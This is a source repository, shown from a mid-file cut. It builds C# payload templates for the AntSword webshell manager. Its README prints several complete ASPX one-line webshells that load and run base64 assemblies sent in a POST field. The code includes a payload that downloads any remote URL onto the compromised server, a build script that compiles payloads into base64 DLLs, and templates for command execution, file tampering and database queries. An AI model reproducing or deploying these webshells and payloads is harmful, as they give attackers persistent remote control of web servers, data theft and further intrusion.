66 | Object[] data = (Object[])obj; 67 | this.Request = (HttpRequest)data[0]; 68 | this.Response = (HttpResponse)data[1]; 69 | } 70 | else 71 | { 72 | try 73 | { 74 | HttpContext context = (HttpContext)obj; 75 | this.Response = context.Response; 76 | this.Request = context.Request; 77 | } 78 | catch (Exception) 79 | { 80 | HttpContext context = HttpContext.Current; 81 | this.Response = context.Response; 82 | this.Request = context.Request; 83 | } 84 | } 85 | } 86 | 87 | public String WgetCode(String url, String path) 88 | { 89 | HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(url)); 90 | RQ.Method = "GET"; 91 | RQ.ContentType = "application/x-www-form-urlencoded"; 92 | HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse(); 93 | Stream WF = WB.GetResponseStream(); 94 | FileStream FS = new FileStream(path, FileMode.Create, FileAccess.Write); 95 | int i; 96 | byte[] buffer = new byte[1024]; 97 | while (true) 98 | { 99 | i = WF.Read(buffer, 0, buffer.Length); 100 | if (i < 1) 101 | { 102 | break; 103 | } 104 | 105 | FS.Write(buffer, 0, i); 106 | } 107 | 108 | WF.Close(); 109 | WB.Close(); 110 | FS.Close(); 111 | return "1"; 112 | } 113 | 114 | public String HexAsciiConvert(String hex) 115 | { 116 | StringBuilder sb = new StringBuilder(); 117 | int i; 118 | for (i = 0; i < hex.Length; i += 2) 119 | { 120 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 121 | System.Globalization.NumberStyles.HexNumber)))); 122 | } 123 | 124 | return sb.ToString(); 125 | } 126 | 127 | public String decode(String src) 128 | { 129 | int prefixlen = 0; 130 | try 131 | { 132 | prefixlen = Int32.Parse(randomPrefix); 133 | src = src.Substring(prefixlen); 134 | } 135 | catch (Exception e) 136 | { 137 | } 138 | 139 | String ret; 140 | try 141 | { 142 | switch (encoder) 143 | { 144 | case "base64": 145 | { 146 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 147 | break; 148 | } 149 | case "hex": 150 | { 151 | ret = HexAsciiConvert(src); 152 | break; 153 | } 154 | default: 155 | { 156 | ret = src; 157 | break; 158 | } 159 | } 160 | } 161 | catch (Exception e) 162 | { 163 | ret = e.Message.ToString(); 164 | } 165 | 166 | return ret; 167 | } 168 | 169 | public String asoutput(String src) 170 | { 171 | String ret; 172 | try 173 | { 174 | switch (decoder) 175 | { 176 | case "base64": 177 | { 178 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 179 | break; 180 | } 181 | default: 182 | { 183 | ret = src; 184 | break; 185 | } 186 | } 187 | } 188 | catch (Exception e) 189 | { 190 | ret = e.Message.ToString(); 191 | } 192 | 193 | return ret; 194 | } 195 | } 196 | } -------------------------------------------------------------------------------- /FM_Wget/FM_Wget.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B3E3CC08-0D77-42FF-9E6F-71B443654304} 8 | Library 9 | Properties 10 | FM_Wget 11 | FM_Wget 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_Wget/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_Wget")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_Wget")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("B3E3CC08-0D77-42FF-9E6F-71B443654304")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AntSword-Csharp-Template v1.2 2 | 3 | 中国蚁剑Csharp一句话Payload 4 | 5 | 编译环境:.net 2.0 6 | 7 | 适用范围:.net 2.0 及以上 8 | 9 | 类型介绍:http://yzddmr6.com/posts/%E8%81%8A%E8%81%8A%E6%96%B0%E7%B1%BB%E5%9E%8BASPXCSharp/ 10 | 11 | ## 编译 12 | 13 | 在build.py中替换你的csc路径后运行,即可在`./dist`目录下自动生成代码模板。 14 | 15 | ``` 16 | python3 build.py 17 | ``` 18 | 19 | 编译完成后将`./dist/`目录下所有文件拷贝至`antSword-master/source/core/aspxcsharp/template/`下即可 20 | 21 | ## Shell 22 | 23 | ### shell.aspx 24 | 25 | 为了兼容各种情况下的内存马,Equals中的入口参数可以为System.Web.HttpContext对象,或者包含Request与Response对象的数组。 26 | 27 | 即 28 | 29 | ``` 30 | <%@ Page Language="c#"%> 31 | <% 32 | String Payload = Request.Form["ant"]; 33 | if (Payload != null) 34 | { 35 | System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)); 36 | assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context); 37 | } 38 | %> 39 | ``` 40 | 41 | 或者 42 | 43 | ``` 44 | <%@ Page Language="c#"%> 45 | <% 46 | String Payload = Request.Form["ant"]; 47 | if (Payload != null) 48 | { 49 | System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)); 50 | assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(new object[] { Request, Response }); 51 | } 52 | %> 53 | ``` 54 | 55 | 如果数组方式跟Context都无法获取的话,Payload会尝试通过HttpContext.Current来拿到当前的Context。所以其实在shell中直接Equals(null),或者一个随意对象即可。 56 | 57 | ``` 58 | <%@ Page Language="c#"%> 59 | <% 60 | String Payload = Request.Form["ant"]; 61 | if (Payload != null) 62 | { 63 | System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)); 64 | assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null); 65 | } 66 | %> 67 | ``` 68 | 69 | ## 更新日志 70 | 71 | ### v 1.2 72 | 73 | 1. Payload采用命名空间格式 74 | 2. 更新入口参数方式,去掉兼容性不强的Page方式 75 | 3. 修复mssql列名获取错误的问题 76 | 4. 修改基本信息中获取根路径的方式,兼容HttpListener内存马 77 | 78 | ### v 1.1 79 | 80 | 1. 兼容内存马 81 | 2. Payload类名不再固定,采用动态获取方式 82 | 83 | ### v 1.0 84 | 85 | 1. release -------------------------------------------------------------------------------- /build.py: -------------------------------------------------------------------------------- 1 | # coding:UTF-8 2 | # run in python3 3 | # code by yzddMr6 4 | import os 5 | import sys 6 | import base64 7 | import time 8 | import shutil 9 | import subprocess 10 | import platform 11 | import re 12 | 13 | # csc路径 14 | cscpath = r'C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe' 15 | 16 | pathsep = os.pathsep 17 | distDir = "./dist/" 18 | tempDir = "./temp/" 19 | 20 | if os.path.exists(distDir): 21 | shutil.rmtree(distDir) 22 | 23 | if os.path.exists(tempDir): 24 | shutil.rmtree(tempDir) 25 | 26 | if not os.path.exists(tempDir): 27 | os.mkdir(tempDir) 28 | 29 | shutil.copytree("./template/", distDir) 30 | 31 | codeDir = ['BASE', 'CMD', 'FM', 'DB'] 32 | 33 | for root, dirs, files in os.walk('.'): 34 | for f in files: 35 | for d in codeDir: 36 | if d in root: 37 | if f.endswith(".cs") and '_' in f: 38 | print( 39 | '------------------------------------------------------------') 40 | spath = os.path.join(root, f) 41 | print("before: "+spath) 42 | with open(spath, "r", encoding="UTF-8") as sf: 43 | source = sf.read() 44 | #dist = re.sub(r"public\ class\ (.*)","public class Run", source) # 统一替换类名为Run 45 | 46 | path = os.path.join(tempDir, f).replace("/", "\\") 47 | with open(path, "w", encoding="UTF-8") as df: 48 | df.write(source) 49 | print("after: "+path) 50 | 51 | targetdll = path.replace('.cs', '.dll') 52 | 53 | cmd = '"{cscpath}" /optimize+ /target:library /out:{targetdll} {path} '.format( 54 | cscpath=cscpath, 55 | targetdll=targetdll, 56 | path=path, 57 | ) 58 | print("cmd: "+cmd) 59 | p = subprocess.Popen( 60 | cmd, 61 | stdout=subprocess.PIPE, 62 | stderr=subprocess.PIPE, 63 | shell=True 64 | ) 65 | out, err = p.communicate() 66 | print("err: "+err.decode()) 67 | if os.path.exists(targetdll): 68 | with open(targetdll, 'rb') as dll: 69 | content = dll.read() 70 | res = str(base64.b64encode(content), "UTF-8") 71 | 72 | packname = f.split("_")[0] 73 | funcname = f.split("_")[1].split(".")[0] 74 | if packname == "BASE": 75 | distFile = "base.js" 76 | elif packname == "CMD": 77 | distFile = "command.js" 78 | elif packname == "FM": 79 | distFile = "filemanager.js" 80 | elif packname == "DB": 81 | distFile = "./database/" + \ 82 | funcname.lower()+".js" 83 | funcname = "DATABASE" 84 | 85 | dispath = os.path.join(distDir, distFile) 86 | print("template: "+dispath) 87 | with open(dispath, encoding="UTF-8") as disp: 88 | result = disp.read().replace('###'+funcname+'###', res) 89 | with open(dispath, mode="w", encoding="UTF-8") as disp: 90 | disp.write(result) 91 | else: 92 | print("error") 93 | -------------------------------------------------------------------------------- /template/base.js: -------------------------------------------------------------------------------- 1 | // 2 | // 基础信息模板 3 | // 获取:当前路径、磁盘列表 4 | // 5 | 6 | module.exports = () => ({ 7 | info: '###Info###', 8 | // 检测数据库函数支持 9 | probedb: '###Probedb###', 10 | }) 11 | -------------------------------------------------------------------------------- /template/command.js: -------------------------------------------------------------------------------- 1 | // 2 | // 命令执行模板 3 | // 4 | 5 | module.exports = (arg1, arg2, arg3) => ({ 6 | exec: { 7 | _: '###Exec###', 8 | 'bin': "#{newbase64::bin}", 9 | 'cmd': "#{newbase64::cmd}", 10 | 'env': "#{newbase64::env}" 11 | }, 12 | listcmd: { 13 | _: '###Listcmd###', 14 | 'binarr': '#{newbase64::binarr}' 15 | } 16 | }) 17 | -------------------------------------------------------------------------------- /template/database/default.js: -------------------------------------------------------------------------------- 1 | // 2 | // 默认代码模板 3 | // 4 | // @params 5 | // :encode SHELL编码 6 | // :conn 数据库连接字符串 7 | // :sql 执行SQL语句 8 | // :db 数据库名 9 | // :table 表名 10 | 11 | module.exports = () => ({ 12 | show_databases: { 13 | _: `###DATABASE###`, 14 | 'action': 'show_databases', 15 | 'conn': '#{newbase64::conn}' 16 | }, 17 | show_tables: { 18 | _: `###DATABASE###`, 19 | 'action': 'show_tables', 20 | 'conn': '#{newbase64::conn}', 21 | 'z1': '#{newbase64::dbname}' 22 | }, 23 | show_columns: { 24 | _: `###DATABASE###`, 25 | 'action': 'show_columns', 26 | 'conn': '#{newbase64::conn}', 27 | 'z1': '#{newbase64::dbname}', 28 | 'z2': '#{newbase64::table}' 29 | }, 30 | query: { 31 | _: `###DATABASE###`, 32 | 'action': 'query', 33 | 'conn': '#{newbase64::conn}', 34 | 'z1': '#{newbase64::sql}' 35 | } 36 | }) 37 | -------------------------------------------------------------------------------- /template/database/mysql.js: -------------------------------------------------------------------------------- 1 | /* 2 | Driver={MySql ODBC 5.2 Unicode Driver};Server=localhost;database=information_schema;UID=root;PWD=root; 3 | */ 4 | module.exports = require('./default'); -------------------------------------------------------------------------------- /template/database/oracle.js: -------------------------------------------------------------------------------- 1 | /* 2 | oracle 3 | */ 4 | 5 | module.exports = require('./default'); -------------------------------------------------------------------------------- /template/database/sqlserver.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = () => ({ 3 | show_databases: { 4 | _: `###DATABASE###`, 5 | 'action': 'show_databases', 6 | 'conn': '#{newbase64::conn}' 7 | }, 8 | show_tables: { 9 | _: `###DATABASE###`, 10 | 'action': 'show_tables', 11 | 'conn': '#{newbase64::conn}', 12 | 'z1': '#{newbase64::db}' 13 | }, 14 | show_columns: { 15 | _: `###DATABASE###`, 16 | 'action': 'show_columns', 17 | 'conn': '#{newbase64::conn}', 18 | 'z1': '#{newbase64::db}', 19 | 'z2': '#{newbase64::table}' 20 | }, 21 | query: { 22 | _: `###DATABASE###`, 23 | 'action': 'query', 24 | 'conn': '#{newbase64::conn}', 25 | 'z1': '#{newbase64::sql}' 26 | } 27 | }) 28 | -------------------------------------------------------------------------------- /template/filemanager.js: -------------------------------------------------------------------------------- 1 | // 2 | // 文件管理模板 3 | // 4 | 5 | module.exports = (arg1, arg2, arg3) => ({ 6 | dir: { 7 | _: '###Dir###', 8 | 'path': '#{newbase64::path}' 9 | }, 10 | 11 | delete: { 12 | _: '###Delete###', 13 | 'path': '#{newbase64::path}' 14 | }, 15 | 16 | create_file: { 17 | _: '###CreateFile###', 18 | 'path': '#{newbase64::path}', 19 | 'content': '#{newbase64::content}' 20 | }, 21 | 22 | read_file: { 23 | _: '###ReadFile###', 24 | 'path': '#{newbase64::path}' 25 | }, 26 | copy: { 27 | _: '###Copy###', 28 | 'path': '#{newbase64::path}', 29 | 'target': '#{newbase64::target}' 30 | }, 31 | 32 | download_file: { 33 | _: '###DownloadFile###', 34 | 'path': '#{newbase64::path}' 35 | }, 36 | 37 | upload_file: { 38 | _: '###UploadFile###', 39 | 'path': '#{newbase64::path}', 40 | 'content': '#{newb64buffer::content}' 41 | }, 42 | 43 | rename: { 44 | _: '###Rename###', 45 | 'path': '#{newbase64::path}', 46 | 'name': '#{newbase64::name}' 47 | }, 48 | 49 | retime: { 50 | _: '###Retime###', 51 | 'path': '#{newbase64::path}', 52 | 'time': '#{newbase64::time}' 53 | }, 54 | 55 | chmod: { 56 | _: '###Chmod###', 57 | 'path': '#{newbase64::path}', 58 | 'mode': '#{newbase64::mode}', 59 | }, 60 | 61 | mkdir: { 62 | _: '###Mkdir###', 63 | 'path': '#{newbase64::path}' 64 | }, 65 | 66 | wget: { 67 | _: '###Wget###', 68 | 'url': '#{newbase64::url}', 69 | 'path': '#{newbase64::path}' 70 | } 71 | }) --------------------------------------------------------------------------------